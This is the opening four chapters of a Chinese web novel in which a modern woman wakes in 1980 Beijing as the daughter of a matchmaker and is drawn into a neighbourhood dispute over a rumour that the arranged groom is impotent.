《在八零当媒婆的吃瓜日常》 第1章 穿越 “赵素兰你今天必须给我个说法，我是信任你，才把我闺女交给你的，可是你看看你做的这什么媒啊，什么烂鱼烂虾的都给我闺女介绍，你把我闺女当成收破烂的啊？” “周嫂子，你这说的什么话啊，我怎么听不明白呢？小梅跟杜海的事儿不是已经定下来了吗，你这是……” 耳边传来一阵刺耳的争吵声，明晞睁开眼睛，看见眼前穿着深蓝色粗布工装服的中年女人就是一愣。 老旧杂乱的大杂院、穿着灰扑扑的妇女、嘈杂的人群，眼前的一切都陌生极了。 明晞脑海里冒出一个又一个问号，什么情况，这是什么地方，她不是在家里睡觉吗，她又是怎么来到这个陌生的地方的？ 还有，面前这些人的穿着打扮怎么跟七八十年代的人似的？ 难不成她穿越了？ 突然，明晞脑海里猛地一阵剧痛，接着是大段的记忆涌入，瞬间接收的信息量太大，明晞有些承受不住，身子摇摇晃晃，还是她眼疾手快扶住一旁的门框，才没摔倒。 反应一会儿，明晞终于消化了突然出现的记忆。 她之前猜测的没错，她确实是穿越了，还是穿越到四十多年前的一九八零年。也算是巧合，她穿越的这个身体的也叫明晞。 和明晞一样，原主也是个遗腹子。不过和连自己亲妈面都没有见过，就被扔到孤儿院的明晞相比，原主的命还是要好一些的，虽然她父亲在她还没出生的时候就因为厂里事故丧了命，但她还有一个爱她的母亲，也就是明晞一睁眼就看到的中年女人——赵素兰。 明晞父亲死的时候，赵素兰才刚被检查出怀孕，肚子里的孩子还不到三个月，当时赵素兰还年轻，周围人没少劝她把肚子里的孩子打掉，趁年轻再找个男人嫁了。但赵素兰谁的话也没听，在明父的葬礼上，就挂着白，挺着肚子，在所有亲戚和朋友的面前宣布她这辈子都不打算再嫁，下半辈子就守着肚子里的孩子过日子。 因为明晞是遗腹子，打出生就没爹，外加她是早产出生的，刚出生那阵瘦瘦小小的，赵素兰对她很是溺爱。明晞出生那阵正是饥荒最严重的时候，院里不少人家连粗粮都吃不上，饿得浮肿，但明晞一天三顿的奶粉麦乳精就没断过。 后面日子好了点，明晞更是院里、哦，不对，应该说是这一片日子过得最好的小姑娘。别人家姑娘一年能做一身新衣服就不错了，但明晞每个季度都能有新衣服穿。 为了让明晞生活条件更好，赵素兰除了厂里的工作之外，私底下还有个兼职——帮人说媒。 她嘴巴利会说话会来事，人缘出了名的好，认识的人也多，最开始只是认识的人让她帮忙说媒，后面帮忙说媒的次数多了，她在附近打出了口碑，成了轧钢厂这一片有名的媒婆。后面不光轧钢厂的人来找她说媒，整个北城的人都有找她帮忙说媒的。 只不过帮人说媒这事儿也不是一直一帆风顺的，有的时候也会遇上难缠的人，就比如今天来她们家闹事的这对母女。 明晞抬头看了眼站在赵素兰面前的吊梢眼大妈和她身后的圆脸姑娘，她记得这俩人，吊梢眼大妈姓周，她管对方叫周大妈，身后的圆脸姑娘是她闺女，叫王红梅。上个月周大妈给了赵素兰十块钱，让她帮忙给王红梅介绍对象。 赵素兰收了钱，认认真真给对方挑了个好小伙。王红梅跟对方见面相看了一次，两边都很是满意，后面两个人相处一段时间，一直到前几天周大妈给赵素兰传信儿，说两个年轻人觉得不错，打算结婚，感谢赵素兰的介绍。赵素兰听了还替对方高兴，结果今天这对母女突然打上门来。 “杜海？你还有脸跟我提杜海，赵素兰你说实话，你是不是看不惯我们家，所以故意把杜海那个王八蛋介绍给我闺女，折磨我闺女？”周大妈横眉竖眼，气愤得不得了。 别说明晞不明所以，就连赵素兰这会儿都丈二和尚摸不着头脑，她皱了皱眉：“周嫂子，你这是啥意思，杜海多好一个小伙子，你怎么这么说？” 杜海就是赵素兰给王红梅介绍的对象。 他是轧钢厂的员工，而且在轧钢厂这一片还挺出名的。 前几年杜海他爸得病没了，他妈伤心没过多长时间也去了，杜家就剩下杜海和他刚满三岁的妹妹。那会儿杜海也才十四五，还是个半大小子，因为他家里没别的亲戚，按理说他和他妹妹都应该被送到孤儿院的。但他硬是一个人跑到厂里，给厂里领导下跪，求着厂里领导让他提前接班。厂里领导看他可怜，就破例让他提前接班，他一个人又当爹又当妈的照顾妹妹，还能下心思研究技术，进厂没五年就考到四级钳工的证，和他一块进厂的其他人最厉害的也才刚过三级钳工的考核。 四级工一个月光工资就有五十五块钱，再加上各种补贴，到手的起码能有六七十，放在当下这年头妥妥的高薪人士。 再加上杜海是出了名的老实本分，一度成为轧钢厂最受大妈们欢迎的女婿人选。 所以赵素兰是想破脑袋也想不明白周大妈和王梅花有什么好不满的。 赵素兰蹙着眉毛：“周嫂子，这里面是不是有什么误会？” 周大妈听到这话，更加火冒三丈，她伸出手指着赵素兰鼻子，指尖都快戳进赵素兰眼睛里，张牙舞爪地说：“误会，误会个屁，我看你就是诚心祸害我闺女！” 她一边说，一边瞄见不远处的地上有一块断了一半的砖头，她俯身蹲下，捡起砖头，随手就朝赵素兰的方向扔过来。 明晞眼尖，看见周大妈蹲下就知道不妙，在砖头扔出的瞬间，上前一步，拽着赵素兰衣服往左挪了一步，这才让赵素兰躲过砖头的攻击。 砖头擦着赵素兰脸颊而过，落在赵素兰身后的地上，发出“嘭”的一声响，溅起一片黄土。 赵素兰就算是再好的脾气，眼瞅着周大妈拿砖头砸自己也忍不了啊，她沉下脸，迈开腿冲到周大妈身前，明晞想拉都没来得及，就看赵素兰抓着周大妈头发，抬手就给了周大妈两个大耳刮子。 “老虎不发威你当我是病猫啊，我好好跟你说话你非不听是吧？你花钱请我给你家闺女介绍对象，我介绍了，你们面也见了，事儿也成了，前几天还跟我说马上要结婚，你现在突然来我家闹事，我问问怎么回事不是应该的吗？你呜呜喳喳闹半天，话也没说明白，还直接动上手了？你真觉得老娘好欺负了是吧？” 赵素兰一点也不手软。 她二十多岁就守寡，这么多年一个人带着孩子长大，要是真是个性子软和的，早就被欺负得渣都不剩。 “嗷！！你竟然敢打我！”周大妈捂着脸不敢置信。 赵素兰一扬头：“打的就是你！” 明晞：好嚣张，她好喜欢。 她看向赵素兰的眼睛里亮着星星，不开玩笑，她真的要爱上这个刚认识没多久的妈妈了。 明晞有多崇拜赵素兰，周大妈就有多愤恨，她一双吊梢眼死死地瞪着赵素兰，她明明是来要说法的，但现在说法没要到，反而被赵素兰给打了。 哪有这么欺负人的啊！ 周大妈又气又恼，回手跟赵素兰撕吧起来。注意到她的动作，明晞心猛地一跳，刚想上前帮忙，就看见赵素兰一个泰山压顶摁着周大妈狠揍。 论体型，其实是周大妈更高壮一些，但赵素兰会使巧劲，小腿狠狠压着周大妈的膝盖，周大妈一点劲儿也使不上。 打架占不到便宜，周大妈只能在嘴上讨便宜。 她不干不净地骂着：“哎哟，老天爷你睁睁眼，睁眼看看赵素兰这个黑心肝的多欺负人吧，老天爷你要是有眼睛，就打雷把她这个黑心肝的劈死吧……” 目光扫到在一边看热闹的明晞后，周大妈连带着她一块骂上。 “还有他们家那个小野种，一块劈死算了！” 院里看热闹的听到这话集体倒吸一口凉气。 明晞可是赵素兰的心肝宝，说是捧在手里怕摔了，含在嘴里怕化了都不带夸张的。 周翠花是吃了熊胆还是豹子胆，竟然敢骂明晞？ 周大妈还没意识到自己说了什么了不得的话，只感觉一瞬间院里人看自己的眼神都不对劲起来。 下一秒她后脖子陡然升起一股寒气，接着脸上就是一股剧痛传来，同时还伴随着赵素兰冷飕飕、不带一丝感情的声音。 “周翠花，我给你脸了是吧？” 周翠花：“呜呜呜……” 不是周翠花不想说话，而是周翠花什么都说不出来。 赵素兰这一次手下可没留情，哐哐哐几个大耳刮子抽下去，周翠花的脸立马肿了起来。这会儿周翠花已经没有还手的勇气，她用尽全力扭动着身子，就像是案板上濒死的鱼一样，试图挣脱赵素兰的束缚。 但赵素兰压根不给她机会，她揪着周翠花脖领子，手上的动作一刻也不停歇，哐哐哐，一个耳刮子接着一个耳刮子，直接把周翠花给打蒙了。 跟着周翠花来的王红梅哪见过这架势啊。 她不是没见过她妈跟别人吵架，也见过她妈动手，但往常她妈都是占上风的那个，从来没有像现在这样被人摁着打。 眼瞅着她妈脸肿成个猪头，鼻子和嘴边都渗出鲜血，王梅花彻底慌了，她吓得鼻涕眼泪一块冒出来：“赵、赵大妈，你，你饶了我妈吧，呜呜呜我求你了，是我妈错了，我妈不该说明晞，你放了我妈，我让我妈给明晞道歉……” 明晞上前一步，也开口说：“妈……妈，算了，你就放了周大妈吧。” 妈这个称谓对明晞而言十分陌生，喊出口的那一瞬间别扭极了。 不过，她还是伸手拉了拉赵素兰。 她是真怕自己不拦着，赵素兰就要把周大妈给打死了。 开文了开文啦，上一本梗设定问题，写得有点艰难，所以暂时停止更新一段时间，开了这篇新文，继续大院吃瓜嘿嘿，大家感兴趣的话可以收藏一下哦！ 作者有话说 显示所有文的作话 第1章 穿越 第2章 进医院 明晞说的话在赵素兰这还是很有分量的，听到明晞的话，赵素兰可算是停下手上的动作。 她松开拎着周翠花脖子的手，人也从周翠花身上下来，不过眼睛还死死地盯着周翠花，一双深邃黝黑的眼睛看得周翠花身上直冒寒气，胳膊上起了一层又一层的鸡皮疙瘩。 赵素兰：“道歉，给我闺女道歉。” “道歉、我道歉。”周翠花忙不迭地点头，她都不敢起来，在地上蛄蛹半天，好不容易把脸转到明晞面前，趴在地上颤抖地说：“明家闺女，我错、我错了，我不该说你，你原谅我吧。” 她一边说，一边抬眼瞄向赵素兰，看对方面无表情，似乎是不满的样子，赶紧抬手给了自己嘴两巴掌：“是我错了，我不该瞎说，该被雷劈的是我，是我嘴欠，是我不长眼，是我该死……” 周翠花是真的怕 ，没人比她更清楚，赵素兰刚才是真的对她下死手，是真的想打死她。 看到周翠花这么说，赵素兰终于满意了，她往后退一步，说：“行了，你还有别的要说的没？” 周翠花一个劲儿地摇头。 她还敢说什么。 她现在只想逃出这个可怕的院子，逃出这个可怕的赵素兰身边。 看赵素兰退后，没有要对自己动手的打算，周翠花试探性的爬起来，赵素兰还是没有动，周翠花松了一口气，拽上傻不愣登还在发呆的王红梅冲着大门口的方向就跑。 别说，周翠花腿脚还挺灵活的，明晞都没反应过来，就看她一溜烟儿地跑没影了。 赵翠花：“别看了，过来扶我一把，刚才抽周翠花的时候闪着腰了。” 明晞赶紧上前两步，扶着赵翠花胳膊，嘴上不自觉地关心：“妈，你没事吧？” 赵素兰：“没事，就是老毛病，我回家贴服膏药就行。” 嘴上这么说，但赵素兰脸色可不太好，明晞扶着她刚走没两步，就看她脸色白得厉害，同时额头上布满大颗的汗珠。 明晞觉得不对，停住脚步：“妈，不行咱们去医院看看吧？” “不用，我没什么事儿，去什么医院啊，嘶……” 赵素兰还想嘴硬，但后腰处传来一股钻心的疼，让她忍不住吸气。 明晞皱眉：“不行，妈，还是去医院看看吧。” 她说着转头，看向院里最热心肠的马大妈：“马大妈，麻烦您帮帮忙，帮我把我妈送医院去。” “哎，行！”马大妈立马点头应了，她使唤自家孩子：“老大你去后院张家借一下板车，老二你去卸门板，老三你帮忙扶着点你赵大妈……” 现在这年头的邻居情跟后世那种冷漠的邻居还是不一样的，这年头的邻居真是俗话里说的那样，远亲不如近邻。邻居之间谁家有点什么事，大家都会搭把手帮忙的。 所以听到马大妈的话，不仅马家几个孩子动起来，院里其他邻居也都过来帮忙，大家风风火火地把赵素兰抬上板车，奔着医院而去。 送到医院，直奔急诊，大夫给赵素兰一顿检查，结果就是赵素兰是腰间盘突出。 明晞：“我妈只是腰间盘突出，没有别的毛病吗？” 她不放心地追问：“我妈腰间盘突出有几年了，之前都没这么严重来着？” 赵素兰腰间盘突出已经有几年了，明父去世之后，她接明父的班进轧钢厂工作，厂领导看她一个女人家要养家不容易，把她车间工作换成后厨工作。车间工作累，而且要看技术考级，虽然考级涨上去工资高，但是刚进车间的只能拿学徒工的工资，一个月十五块钱，没补助。后厨工作就不一样了。 后厨活轻省，除了吃饭点要忙，其他时间比较轻省，而且后厨不分学徒工还是正式工，一上班就能拿十八块五的正式工工资，后面每年根据工龄涨工资。最重要的是在后厨，厨房的剩菜什么的都是能带回家的。虽说是剩菜，但没人去深究这菜到底是打饭之前盛出来的，还是打饭最后剩下来的不是？ 这放在前几年困难的时候，可是实打实的福利。 只是有一样，在后厨工作，得一直站着，赵素兰就是这样被累出腰间盘突出的。 对面医生看明晞着急的样子，解释说腰间盘突出分急性和慢性，赵素兰今天这就是急性发作，症状特点就是突发且剧烈，严重的可能无法行走和站立。1 医生说完，安慰明晞：“急性腰间盘突出不是什么大问题，而且急性发作期一般不会太长，最多两个礼拜就能结束。我先给你妈开点止疼药，吃了就能好一些。” 明晞心里松了一口气，点头：“好，大夫你开药吧。” 医生除了给赵素兰开药，还给赵素兰开了住院单子，让她住院观察三天，明晞没有任何意见，麻溜地拿着单据去缴费，缴完费回来，赵素兰已经被安置进住院部的病房里。 赵素兰一看见明晞回来，立马坐起来：“晞宝，医生怎么说的，怎么还给我挪住院部来了？我就一个腰疼，又不是什么大病，住什么院啊，住院得花多少钱啊？再说了，我住院，工作怎么办，不上班就得扣工资啊。” 她一边说一边往床边挪：“这会儿感觉好多了，没事了，走吧，咱们办出院手续回家去。” 虽然上辈子没有跟长辈打交道的经历，但这会儿明晞无师自通了让赵素兰乖乖听话的秘诀。 “还出院呢，妈，你知不知道，人家大夫跟我说，你这个腰是腰间盘突出，还是严重的那种，你要是再不好好养着，下辈子都站不起来，走不了，只能在床上瘫着。” 明晞故意夸张完，又说：“而且住院费我都交完了，就算你现在办出院，人家也不能给你退钱，这钱不就白交了吗？” 赵素兰脸唰的一下就白了，她手攥着病床的白床单，她强撑着说：“闺女，你别吓我。” 明晞耸耸肩，故作不在意地说：“谁吓你了。妈，你要是不信的话，去问大夫啊，人家大夫就是这么跟我说的，说你这个腰间盘突出严重的时候就是站不了走不了。” 她没说假话，只不过她没说这事急性发作时候的情况，也没说急性发作期不长而已。 赵素兰不知道医生的原话，成功被明晞的话吓到。 不光赵素兰，就连送赵素兰来医院的马大妈一行人也被吓到了。 “素兰啊，你老老实实住院养病吧，可别再想着出院了。”马大妈站在病床边劝：“你好好在医院把病养好了再出院，不然以后真出事可怎么办啊。你不为别人想，也得为你家明晞着想啊。” 明晞：“就是，妈，你要是不好好住院，真的瘫了，那以后不还是得我照顾你吗？” 赵素兰脸色变了变，最后还是乖乖地躺下。 话说得错没，要是她真的瘫了，最后麻烦受累的还是她家晞宝。 看赵素兰不闹着出院，明晞呼了一口气，说：“行，妈，那你先待一会，我回家一趟，去收拾住院的东西，一会儿就回来。你要是有什么事，就找护士昂。” 赵素兰点点头。 马大妈：“那什么，素兰，你这边没事的话，我们也先回去了。” 赵素兰：“啊，行，老马你们回去吧，今天麻烦你们了，等我好了请你们吃饭哈。” “嗐，你看你，都在一个院住了二十多年，这么客气干嘛。”马大妈摆摆手：“行了，我们回去了，你好好休息吧。” 赵素兰：“哎，那个，老马……” 马大妈脚步一顿，回头：“嗯？怎么了？” 赵素兰看了眼明晞，说：“我怕王家那边还不安生，要是他们再来闹事，你帮我看着点明晞。” 马大妈：“哎，行。” 这倒不算什么事，只是，她忍不住好奇地问：“素兰，王家怎么回事啊，之前不是传信说她家闺女跟杜海准备结婚了吗，怎么今天又过来闹事了，话里话外还都是说杜海有事？” 她皱着眉毛想不明白：“也没听别人说杜海这孩子有什么毛病啊。” “可不是这么说嘛！”赵素兰叹了一口气。 她也想知道王家今天闹这一出是要干嘛，周翠花闹来闹去也不说杜海到底怎么了。 这事儿闹得，可太为难人了。 赵素兰琢磨着等自己出院，还得去王家杜家问问，这到底是怎么回事。不管杜海到底有什么毛病，都得明明白白说清楚。 说清楚之后，哪边有问题哪边认错，不管这婚事最后到底能不能成，这事也不能不明不白的。 不然人家听说她有问题，瞒着男方的毛病坑女方，谁还能找她保媒。 明晞看着明摆着心里有事的赵素兰叹了口气，说：“妈，你别想太多，好好休息，我们走了。” 赵素兰：“嗯，你们回去吧。” 明晞调转脚尖，跟马大妈一行人离开病房。 走出医院，来到外面的大街上，明晞一双眼睛好奇地在街上东瞧西看。 现在是八零年三月，虽然市场还没有正式开放，但现在的社会风气跟明晞记忆里前几年的风气完全不一样，街上行人穿着更大胆更靓丽，还有不少偷摸着摆地摊做生意的。说是偷摸着，倒也不完全对，这些摆摊的也不避着人，有胆大的还晃着手大声吆喝着。只不过在看到有戴着大檐帽的公安出现的时候，这些人就会第一时间卷起地上的包袱皮逃跑。 明晞就看见一伙背着包袱皮逃跑的，戴着大檐帽的公安在后面追着，路边有不少行人瞪着眼睛看热闹，看着还挺热闹的。 “明晞啊……” 明晞正好奇地张望着看热闹的时候，突然听见马大妈说话，她转过头。 马大妈：“你妈这几天住院，你们怎么吃饭啊？” 明晞挠挠头：“吃饭，我……我去国营饭店买着吃吧。” 原身不会做饭，她也不会做饭。 别说做饭，原身被赵素兰宠得十指不沾春水，连碗都不会刷，家里的活是赵素兰全包，原身平时就等着吃。 至于她，她从小到大，生活的孤儿院、大学、大学毕业工作的单位都有食堂，虽然食堂味道不好，但她也不挑，有的吃就行，根本就没考虑过自己做饭的事。 所以她现在只能选择去国营饭店买现成的吃。 马大妈：“去什么国营饭店啊，那得花多少钱和票啊，这样吧，你妈住院这几天，你就跟着我们家搭伙吧。” “这太麻烦您吧。”明晞还想客气客气。 马大妈：“麻烦什么麻烦，小时候你妈没奶，你连我的奶都吃过，吃我顿饭有什么麻烦的。” 明晞红着脸：“那，那行。” 马大妈：“行，就这么说定了，你这几天就跟着我们家吃饭，一会儿我回家就做饭，你去把你家饭盒洗干净，然后拿过来，我盛出一份你好给你妈带过去。” 明晞点点头。 马大妈：“一会儿做完饭，我去副食品店看看，看看有没有骨头，买回来一副，给你妈熬个骨头汤。” 明晞麻溜说：“钱我出。” 马大妈：“废话，给你妈熬汤，钱肯定得你出。你放心，这事我不跟你客气。” 明晞腼腆笑笑。 两个人一边说话一边往住的大杂院走，很快的就走到门口。 刚到门口，还没进院，明晞就听到院里一阵喧闹。 1.来源网络 作者有话说 显示所有文的作话 第2章 进医院 第3章 不行？！ 明晞家住的金鱼胡同六十八号院是个两进的院子，院子原本是个富商家的宅子，后面打仗的时候，富商逃到国外了，宅子统一归上面管理，最后被上面分给轧钢厂做家属院，现在院里住的都是轧钢厂的职工。 轧钢厂职工搬进来的时候，把院里的影壁、雕花游廊都给拆了，把空余的地方加盖上房子，原来前后三进的院子因为加盖和拆修最后变成两进的院子。 前院后院一共住了十多户人家，零零散散加起来也有百十来号人，明晞家占了后院左手边两间偏房，房子不大，两间加起来也才不到四十平。 明晞抬脚跟马大妈一块进院，两个人在门口听到的喧闹声是从后院传来的，所以马大妈跟着明晞一块来到后院，脚刚跨过后院的拱门，就看见坐在左手边明家门口哭嚎的周翠花。 周翠花脸上青青紫紫的，头发也乱糟糟的，身上狼狈的跟刚才离开时无二。只不过这一次她身边除了跟着王红梅，还跟着一老一少两个人高马大的粗壮汉子。 马大妈一看到这场景，当即就紧张起来，她抓着明晞胳膊：“躲我身后边来。” 把明晞拉到自己身后，马大妈才说：“跟着周翠花过来的是她男人和她儿子，他们俩都是轧钢厂的，跟周翠花过来，估计是来找事的，你在我身后边躲好。” 马大妈紧绷着下巴，瞪着面前的王家人，手还死死地护着明晞：“明晞别怕，马大妈在这儿呢，马大妈肯定不会让你出事的。” 马大妈说完，对着前面大喝一声：“周翠花，你又来闹什么事儿？” 周翠花看见人回来，一骨碌站起来，拍拍屁股：“马桂芬，我没话跟你说，赵素兰呢，我找赵素兰！” 明晞站出来，马大妈伸手想拦，但是没拦住，还是让明晞站到周翠花身前。 明晞：“我妈进医院了，周大妈你有什么事跟我说吧。” 周翠花：“什么？赵素兰进医院了？” 她瞪大眼睛，接着哈哈大笑起来：“哈哈哈，我就知道，我就知道赵素兰这样黑心肝的得遭报应！” 明晞黑着脸：“周大妈，你有事就说事，别一口一个黑心肝的说我妈。我妈给人保媒也有小二十年了，她是什么人大家伙都知道，她这些年给人介绍对象，没藏着掖着过，一直都是有什么说什么，从来没有坑过谁骗过谁，你想要给我妈泼脏水，也得把事情说清楚。” 她有原身的记忆，知道赵素兰这些年从来没有昧着良心给别人介绍过对象，可周翠花上来就说赵素兰黑心肝，这不是冲着砸找赵素兰招牌来的吗。 明晞深呼吸一口，高声说：“周大妈你今天一天来我们院闹了两场了，可是你一直也没说，杜海到底有什么问题。正好，现在院里的大家伙都在这，索性你就当着大家伙的面说，要是杜海真有问题，而且证明是我妈故意瞒着你，那我什么也不说了，我认错，给你道歉，包括你之前给我妈说媒的钱我也都退给你。不，我不光退给你，我十倍退给你。但要是说出来，不是杜海或者是我妈的毛病，那这事儿也不能就这么算了。” “对！” 马大妈第一时间搭腔：“明晞说得对！” “就是就是，周翠花，你光说杜海有问题，你倒是说杜海有什么问题啊！” “可不是，要是说不出杜海有什么问题，那你来我们院闹事我们可不应！” “不应，不应……” 院里出来看热闹的邻居们也跟着帮腔。 听着大家伙这么说，周翠花脸青绿青绿的，难看极了。 可即使是这样，她嘴巴也闭得死死的，就是不说杜海有什么毛病。 明晞皱起眉毛。 这事儿越来越不对劲了。 周翠花的脸色也没能逃过其他人的视线，大家伙都察觉出不对来。 这时人群中也不知道是谁说了一句：“该不会是王红梅反悔不愿意结婚，故意栽赃人家杜海吧？” “你放屁！”周翠花张嘴就骂了回去：“才不是我闺女不愿意呢！” “就是，明明是杜海那孙子不行，跟我妹子有啥关系！”王红梅哥哥王铁柱没忍住喊出声。 本来还混乱的院子因为这话瞬间陷入一片死寂。 什么玩意。 杜海不行？！ 嘶—— 大家伙眼神不自觉地往王红梅身上飘，只不过这一次大家的眼神多少都带着同情的意味。 怪不得王家人这么生气呢。 杜海不行，那王红梅嫁过去不是要守活寡吗？ 这但凡是个姑娘都不愿意啊。 这事儿要是真的，那还真是杜海不对。 当然，把杜海介绍给王红梅的赵素兰也不地道。 “嘶——” 明晞也忍不住吸气。 这要是别的事还好说，但这事儿还真不是那么好说的。 她沉默半天，好不容易才找回自己的声音：“呃、那什么、周大妈、王同志，咱们先冷静一下，就是那个什么，杜海真不行这件事你们是怎么发现的？这里面会不会有什么误会？” 周翠花也是气狠了，她原本不想把杜海不行这件事说出来，虽然说出来丢人的是杜海，但作为差一点跟杜海谈婚论嫁的人，她闺女也少不了要被人非议。没想到她家这个小兔崽子一个没忍住就说了出来，还是当着这么多人的面说出来。 她咬着牙：“还能怎么发现的，当然是别人告诉我的呗，我闺女老实听话，才不可能跟他乱搞！” 明晞点头：“嗯对对对，周大妈你说得对。” 她抬眼瞄了眼周翠花神色：“周大妈，这事儿你们是听谁说的呢？还有，你们问过杜海吗？” 周翠花鼻子眼出气：“问他？哼，他能承认吗？” 明晞明白，这就是没找杜海问过。 她上前一步，来到周翠花身边，轻声细语地说：“周大妈，既然这事儿是你们听说的，而且也没找杜海问过，就说明这事儿不一定是真的。” 周翠花：“什么玩意？！你觉得我们说谎骗你？关乎我闺女下半辈子幸福，你觉得我会那这种事骗人？” 明晞：“不是不是，我当然不是这个意思。我是觉得，这里面可能有误会。” 她想了想说：“要不这样，咱们现在去杜海家，找杜海，当面锣对面鼓的把事情说清楚，也看看杜海到底行不行？” “就是就是，周翠花，你就跟明晞去杜家找杜海问清楚呗！” “对啊，万一是误会呢！” “万一要是周翠花搞错了，那她可丢大人了……” 在场的邻居跟着一块起哄。 这会儿已经不是周翠花想不想去的事儿了，这么多人看着，她要是不去，别人指不定要怎么说她。 周翠花：“去就去！” 她顿了顿：“但是得先说好，万一杜海不承认怎么办？他万一要真不行……” 明晞：“这好办，咱们到杜海家，找到杜海，直接让他去医院，让医生说杜海到底行不行。” 周翠花瞪大眼睛：“去医院？” 明晞：“对，去医院让医生做检查。” 周翠花：“啥玩意，医院还能检查这个？” 明晞点头：“当然能啦。” 放在后世，结婚之前去医院做个婚检，顺便检查一个性功能障碍是很平常的事情。 但明晞不知道的是，婚检最早出现在1986年，是卫生部和民政部联合下发的通知，而且那时的婚检主要检查传染病和遗传病的，没有对男性功能障碍的检测。1 所以这会儿的人没有这个意识是很正常的。 别说没有这个意识了，甚至有相当大一部分男性会觉得去医院做这个检查室有损自尊的事情。 没看听完明晞的话，在场已经有不少男同胞的表情都变了吗。 倒是周翠花听到这话满意极了，她点头：“行，就照你说的这么办！” 周翠花对身后招招手：“老王、铁柱、红梅走，咱们跟明晞去杜家。” 明晞带着王家人准备去杜家，她拔腿刚走没两步，就被马大妈拉住，马大妈：“小晞啊，这事儿你不应该掺和的，你一个年轻姑娘还没结婚，掺和到这事儿里不好，要不这样，你留下，我带周翠花她们……” 明晞拍拍马大妈胳膊：“马大妈你放心，我没事，而且事关我妈的声誉，我得跟着过去。” “唉！” 马大妈拍着大腿深深叹一口。 你看这事儿整的！ 明晞松开马大妈胳膊，迈开大步朝门口走去，马大妈想了想，抬脚也跟上明晞的脚步。 剩下院里的邻居，你看看我我看看你，也跟上马大妈的脚步。 他们也不是想去杜家看热闹。 主要是怕明晞吃亏。 对，怕明晞吃亏。 明晞毕竟是个年轻的小姑娘嘛，万一过去杜海不愿意，又或者王家人一言不合动起手来呢。 他们是为了保护明晞！ 1.来源网络 作者有话说 显示所有文的作话 第3章 不行？！ 第4章 还有瓜啊 明晞、王家人还有大杂院的邻居们风风火火的往杜家走。 杜海家离得不远。 轧钢厂家属院都在这一片，杜海家的房子离明家也就隔了一条胡同。 没用十分钟，大家伙就到了杜海家住的院子门口，看着这么一大帮子人呼啦啦的过来，院里的住户心头一跳。 院里一个正在接水的长脸大娘哆哆嗦嗦地站出来：“你们、你们是来干嘛的？闹事儿的？” “我告诉你们，我们这儿离派出所近，喊大声点派出所那边的公安都能听见！” 明晞哭笑不得：“不是，大娘你误会了，我们不是来闹事的，我们是有事来找杜海。” “找杜海的？”大娘对着明晞上上下下打量一番，感觉她确实不像是来闹事的，放下心来，她咳嗽一声，说：“那你等着，我给你喊杜海去。” 她一路小跑地往后院而去，很快的，她便领着一个留着寸头的男同志走出来。 杜海：“明同志？” 杜海听说有人找自己，还以为是谁呢，没想到竟然是明晞，他愣了一下，问：“明同志你找我有什么事？” 明晞往旁边闪了一步，露出跟在她身后的王家人，说：“不是我找你有事，是周大妈她们找你有事。” 杜海又是一愣：“周大妈？红梅？你们找我？” “对，我们找你。”周翠花叉着腰，直入主题：“杜海你跟我说实话，你是不是不行。” 听到这话，杜海脸瞬间涨红，他一张脸黑红黑红，也不知道是被气得，还是害羞。 “不是、周、周大妈，你、你说什么呢，我……”杜海结结巴巴地说不下去。 周翠花甩手：“你甭结巴，这事儿是别人特意告诉我的，说你不行这事儿你们院有不少人都知道。你要是真不行就痛痛快快的承认，至于你跟我们家红梅的事儿，那你是别想了，我就这么一个闺女，是绝对舍不得让她年纪轻轻就守活寡的。” 杜海攥紧拳头：“谁，谁跟您说我不行的？！我好着呢！” 他瞪着一双血红的眼睛，眼珠子都快突出来。 他好好一个男同志，就这么不明不白的被人说不行，马上要谈婚论嫁的对象还要因为这事儿掰了，他能不生气就怪了。 明晞见这架势，赶紧上前两步，插到杜海和周翠花中间：“等等，等等。” “杜同志，周大妈，你们先别激动，我看啊，这事儿说不定就有误会。” 明晞面对周翠花：“周大妈，你看哈，这事你是听别人说的对吧，人家也没有证据，就是上嘴皮子碰下嘴皮子就说出来的，也不一定是真的对吧？” 她转过头来，又面对杜海：“杜同志，你也先别生气，周大妈也是心疼闺女，就像她刚才说的那样，她就王同志这么一个闺女，事关王同志下半生的幸福，她紧张一些也不奇怪，对吧？” 杜海脸还涨红着，不过听明晞这么说，他倒是点了点头。 明晞继续说：“当然，这件事也关系到你的下半生，还有你的尊严，所以我觉得咱们得谨慎对待这件事，你说对吧？” 杜海点点头。 明晞：“所以我看要不这样吧，你现在跟我一块去医院做一个性功能障碍的检测怎么样？不然这事儿光你嘴上说，周大妈也不相信，而且咱们今天这么多人看着呢，你要是拿不出有力的证据，指不定一会儿外面怎么传呢。去医院做检查，拿到医生的诊断书，别人肯定不会瞎传对吧？” 要说去医院做检查，杜海下意识是抗拒的，他好好一个大男人去医院做这个检查，多丢人啊。 更别说做检查的理由，还是因为这么可笑的绯闻。 可明晞的话越听越有道理。 王家人这么大阵仗的过来，院里人还有胡同里的人肯定都看见了，他想都不用想就知道，现在肯定有不少人在看热闹，今天这事儿要是不解释清楚，明天他不行的消息就能传遍整个北城。 没准明天就能传到隔壁省去呢。 杜海黑着脸沉思半晌，最终开口：“行，那我就去医院做这个检查。” 听到杜海答应做检查，王家人有一瞬间的心慌，尤其是周翠花。 杜海怎么敢答应去做检查？ 难道他就不怕医院检查出问题？ 还是杜海本身就没问题？ 周翠花咬着牙，杜海要是没问题，那她今天闹这一出不是白闹了，给别人看笑话不算，还可能会影响杜海和她闺女的婚事。 王红梅这个时候也意识到不好，她下意识抓住她妈的胳膊：“妈……” 周翠花心里虽然慌，但在自己闺女面前还是没有表现出来，她轻拍了拍王红梅胳膊：“没事，咱们走，去医院。” 不管怎么说，检查出来没事是好事，要是真有事，那也是好事，起码让她闺女避开这个坑。 就这样，在明晞的带领下，王家人，跟着来看热闹的大杂院邻居们，还有杜海这个院的邻居们大家一块转战医院。 一大帮子人乌央乌央的来都医院，把小小的男科诊室都得挤满了，戴着眼睛的老大夫赶紧扶了扶眼镜，对着人群问：”咳咳，你们谁看病啊？” 杜海站出来：“大夫我。” 老大夫抬眼看了杜海一眼，接着“啧”一声。 这么年轻的小伙子就来看男科啊。 怪不得这么多人跟着过来呢，肯定都是小伙子的亲人，看不得小伙子年纪轻轻就不行。 老大夫心里感慨，手上指着对面的座位：“行，你坐下吧，至于家属，你们先出去，等我检查完喊你们，你们再进来。” 明晞：“走走走，咱们出去，让人家大夫检查。” 她把人轰出病房，连带着自己也从病房出来。 大家伙倒是想留在病房看热闹，但是人家大夫都发话了，没办法大家只能出来在门口等。 对于跟来看热闹的邻居们来说，在病房等检查结果的这段时间堪比等在产房外面一样难熬。 杜海到底行不行啊！ 